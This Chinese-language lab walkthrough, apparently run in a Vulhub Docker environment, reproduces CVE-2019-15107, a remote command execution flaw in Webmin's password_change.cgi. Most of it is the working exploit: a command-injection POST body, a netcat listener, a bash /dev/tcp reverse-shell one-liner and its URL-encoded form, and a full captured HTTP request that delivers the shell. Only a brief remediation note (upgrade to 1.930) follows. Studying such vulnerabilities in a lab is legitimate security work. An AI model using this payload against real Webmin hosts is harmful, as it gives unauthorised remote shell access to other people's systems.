CVE-2019-15107
该漏洞允许恶意第三方在缺少输入验证的情况下而执行恶意代码。
该漏洞由于password_change.cgi文件在重置密码功能中存在一个代码执行漏洞,该漏洞允许恶意第三方在缺少输入验证的情况下而执行恶意代码。
Webmin<=1.920
使用docker搭建


进行登录:https://127.0.0.1:10000/

https://192.168.16.176:10000/passwore_change.cgi
使用hackBar的post模式输入:user=rootxx&pam=&expired=2&old=text|ls&new1=test2&new2=test2

使用bp抓包

获得反弹shell
kali虚拟机中输入
nc -lvvp 666
bash -c "bash -i >& /dev/tcp/192.168.16.176/666 0>&1"
url编码
%62%61%73%68%20%2d%63%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%36%2e%31%37%36%2f%36%36%36%20%30%3e%26%31%22

将反弹shell脚本url编码过后替换数据包中的old
POST /password_change.cgi HTTP/1.1
Host: 192.168.16.176:10000
Cookie: redirect=1; testing=1
Content-Length: 62
Cache-Control: max-age=0
Sec-Ch-Ua: "Not?A_Brand";v="8", "Chromium";v="108"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://192.168.16.176:10000
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://192.168.16.176:10000/passwore_change.cgi
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Sec-Fetch-User: ?1
Connection: close
user=rootxx&pam=&expired=2&old=%62%61%73%68%20%2d%63%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%36%2e%31%37%36%2f%36%36%36%20%30%3e%26%31%22&new1=test2&new2=test2
获得shell成功

wireshark
直接升级到1.930版本
临时修补方案,可以定位漏洞代码所在的行,然后剔除后在github上下载password_change.cgi文件
Vulhub - Docker-Compose file for vulnerability environment
Webmin 远程命令执行漏洞(CVE-2019-15107)
webmin远程命令执行漏洞(CVE-2019-15107)
Webmin 远程命令执行漏洞